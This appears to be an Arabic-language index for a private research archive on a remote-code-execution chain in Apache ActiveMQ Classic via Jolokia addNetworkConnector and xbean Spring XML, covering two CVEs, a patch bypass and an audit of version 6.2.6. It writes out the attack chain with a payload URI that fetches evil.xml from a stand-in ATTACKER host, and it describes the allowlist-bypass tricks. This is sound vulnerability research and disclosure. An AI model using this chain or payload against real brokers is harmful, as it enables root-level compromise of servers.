
بحث Apache ActiveMQ Classic حول RCE: سلسلة تجاوز CVE-2026-34197 / CVE-2026-42588 + نتائج تدقيق hardened-6.2.6 + مقارنة Crowdfense
أرشيف بحث خاص لسلسلة تنفيذ التعليمات البرمجية عن بُعد في Apache ActiveMQ Classic عبر Jolokia → addNetworkConnector → xbean/Spring-XML (CVE-2026-34197 وتجاوز التصحيح الخاص بها CVE-2026-42588)، بالإضافة إلى تدقيق بحث آلي كامل للإصدار المُصلَّح 6.2.6 ومقارنة جنبًا إلى جنب مع تقرير التجاوز المنشور من Crowdfense.
تم تنفيذ جميع عمليات الاستغلال ضد وسطاء مخبريين محليين (Docker / استضافة ذاتية). تستخدم الحمولات مضيفي مهاجمين نائبين.
| الدليل | المرحلة | ما بالداخل |
|---|---|---|
00-comparison-vs-crowdfense.md | مقارنة | عملنا مقابل مقال Crowdfense «تجاوز RCE في ActiveMQ»، مُتحقق منه بالمصدر عند file:line |
01-original-cve-2026-34197/ | إعادة إنتاج أصلية | تحليل + نصوص PoC + حمولات Spring-XML (مختبر: activemq-classic:5.18.6) |
02-reaudit-apr30/ | مصفوفة الإصدارات | uid=0 على 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; تقييم + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | تجاوز حي | تجاوز مركّب بدون أقواس (42588) + XSS في MessageServlet (42253)، مُعاد إنتاجه حيًا |
04-audit-6.2.6/ | تدقيق كامل | تدقيق بحث آلي لـ 6.2.6 المحصَّن: تقرير نهائي + سجل نتائج |
أشجار المصدر والتوزيعات الثنائية الخاصة بالمورّد المستخدمة أثناء المختبرات مستبعدة عمدًا (فهي من المنبع، وليست من عملنا).
مستدعٍ مصادَق (غير مصادَق على 6.0.0–6.1.1 عبر CVE-2024-32114) لـ Jolokia يستدعي BrokerView.addNetworkConnector(uri) مع URI اكتشاف مُصاغ بعناية، حيث يجبر URI الداخلي vm://…?brokerConfig=xbean:<url> الوسيط على تحميل Spring XML يتحكم به المهاجم، الذي ينشئ فورًا bean من نوع ProcessBuilder قبل تحقق الوسيط ← تنفيذ أوامر نظام التشغيل.
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
العنوان الرئيسي: ثلاث نتائج مُثبتة حيًا ببلوغ root/XSS; يضيف تدقيق 6.2.6 مجموعة أوسع مُتحققًا منها بالمصدر وخاضعة لتقييم عدائي، لكنها لم تُنفَّذ حيًا بعد. لا شيء من الإضافات في 6.2.6 هو RCE جديد غير مصادَق — المورّد أغلق تلك الأبواب; الخطر المتبقي انتقل إلى التفويض وترميز المخرجات.
AIOOBE للترتيب العددي QoS في MQTT (QoS.values()[ordinal], عبر البروتوكولات، بدون إعداد) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException للـ short المُوقَّع في فك ترميز OpenWire · مهمة مجدوَلة خالدة بسبب AMQ_SCHEDULED_REPEAT السالب.
يتناول مقال تجاوز RCE في Apache ActiveMQ من Crowdfense نفس السلسلة (يصنّفونها تحت CVE-2026-34197; نحن نتعقّب التجاوز كـ CVE-2026-42588 مستقلة). يتقارب الحسابان على دفاع من ثلاث طبقات; الاختلاف الوحيد في الطبقة 2.
الفجوة الوحيدة: خدعة الطبقة 2 (ترميز النسبة المئوية + UNC/WebDAV) تحقق تسليمًا عن بُعد بالكامل بدون بدائية كتابة محلية. عيب المُصنِّف الذي تستغله (activemq-spring/Utils.java:123-129, فحص startsWith("file://") خام على السلسلة غير المُفكَّكة) موجود في مصدرنا تمامًا — لكن النصف البعيد خاص بـ Windows فقط (لينكس يعامل //host/share كمسار محلي)، ومختبرنا كان على لينكس، لذا لم يكن قابلاً للاختبار هناك. إنه ميت على 6.2.6 على أي حال (بوابة مخططات VMTransportFactory ترفض xbean قبل تشغيل Utils).
متابعة: تشغيل 5.19.6 على Windows (أو أي إصدار قبل 5.19.7/6.2.6) + مستمع SMB/WebDAV سيسمح لنا بإظهار تجاوز قائمة السماح عن بُعد بالكامل — الإمكانية الوحيدة التي يمتلكها المقال ولم يُظهرها عملنا.
ثلاث عمليات commit تُغلق السلسلة: c1b44af11 (التحقق من URIs المركّبة بدون أقواس — استدعاء parseComposite دائمًا + تكرار)، c2fc7a1d6 (حظر XBeanBrokerFactory افتراضيًا عبر قائمة المخططات المسموحة في VMTransportFactory)، و be8415f24 (تحصين إعدادات العينة: Jolokia إلى loopback، قائمة منع عمليات تتضمن addNetworkConnector).
| ID | النتيجة | الفئة | الخطورة | المصادقة | الدليل |
|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → xbean Spring-XML RCE | RCE | حرجة | بعد المصادقة (بدون مصادقة 6.0.0–6.1.1) | حي — uid=0 على 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 |
| CVE-2026-42588 | تجاوز URI مركّب بدون أقواس لقائمة منع 34197 | RCE (تجاوز تصحيح) | حرجة | بعد المصادقة | حي — uid=0 على 5.19.6 المُصحَّح من 34197 + 6.2.0 |
| CVE-2026-42253 | حقن ترويسة في MessageServlet → XSS مخزّن | حقن / XSS | متوسطة | بعد المصادقة | حي على 6.2.0 |
| ID | النتيجة | الفئة | الخطورة | المصادقة | ملاحظات |
|---|
| C1 | فجوة في قائمة منع static: ← SSRF — static غائب عن DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → TCP صادر من الوسيط | SSRF | متوسطة | مسؤول / JMX | متغير sink يعبر نفس قائمة منع 34197/42588 التي يغطيها المقال |
| B1 | IDOR حذف عبر clientId للاشتراكات الدائمة — removeSubscription يعتمد على clientId المُقدَّم عبر السلك وغير مُقيَّد في AuthorizationBroker | كسر تفويض / IDOR | متوسطة | بعد المصادقة (قبل المصادقة إذا كان تفويض الوسيط معطّلًا) | أوضح نتيجة جديدة كليًا |
| B3 | LDAP كلمة مرور فارغة ← ربط مجهول (LDAPLoginModule, بدون فحص فراغ) | تجاوز مصادقة | متوسطة (مشروطة) | قبل المصادقة | مشروط بقبول الدليل لعمليات الربط المجهولة |
| A1–A7 | عائلة حقن ترميز المخرجات في وحدة التحكم — MessageId.textView المتحكم به من المهاجم (OpenWire v10+ و AMQP) غير مُهرَّب عبر ~7 مصارف JSP/REST + اجتياز مسار في FileSystemBlobStrategy | حقن | منخفضة–متوسطة | منتِج ← مسؤول | مُقيَّد بـ CSP إلى حقن HTML/محتوى افتراضيًا |
| B2 | Shiro WildcardPermission تصعيد أفعال بحقن نقطتين | تصعيد صلاحيات | منخفضة–متوسطة | بعد المصادقة | Shiro غير افتراضي |
| B4 | عدم تماثل فشل-مفتوح لتفويض الوجهات المؤقتة مقابل فشل-مغلق لغير المؤقتة | كسر تفويض | منخفضة | بعد المصادقة | حسب التصميم (AMQ-4721); ملاحظة تحصين |
| B5 | replyTo في StatisticsBroker يتجاوز صلاحية الكتابة عندما يُرتَّب المكوّن الإضافي قبل التفويض | كسر تفويض | منخفضة | بعد المصادقة | يعتمد على ترتيب الإعداد |
| B6 | تسجيل الدخول بالشهادات DN غير متعارف عليه (getSubjectDN().getName()) → تصادم هوية بين شهادات من نفس المرجع CA | مصادقة | منخفضة | قبل المصادقة (مُتحقق عبر TLS) | «أي شهادة موقعة ذاتيًا» لا تعمل |
| B7 | انتحال JMSXUserID عندما يكون populateJMSXUserID=false (الافتراضي) | انتحال | منخفضة | بعد المصادقة | — |
| F5 | اسم ترويسة STOMP الصادر لا يُهرَّب أبدًا → حقن إطار إلى مشترك في نفس المستأجر | حقن | منخفضة | عبر البروتوكولات | STOMP مفعّل |
| الطبقة | الدفاع | كيف هزمها Crowdfense | كيف هزمناها نحن |
|---|
| 1 | قائمة منع المخططات (إصلاح 34197) | مركّب بدون أقواس static:vm://… | نفس الشيء — اكتُشف بشكل مستقل ✅ |
| 2 | قائمة سماح xbean {file,classpath} (#1910) | ترميز نسبة مئوية لـ file:%2f%2f… → UNC → WebDAV على Windows → جلب HTTP عن بُعد | ملف محلي xbean:/tmp/evil.xml (يتطلب كتابة محلية) |
| 3 | بوابة مخططات VMTransportFactory (broker,properties، إصلاح 42588 / 6.2.6) | أُقرّ بها كقاضية على السلسلة | نفس الاستنتاج ✅ |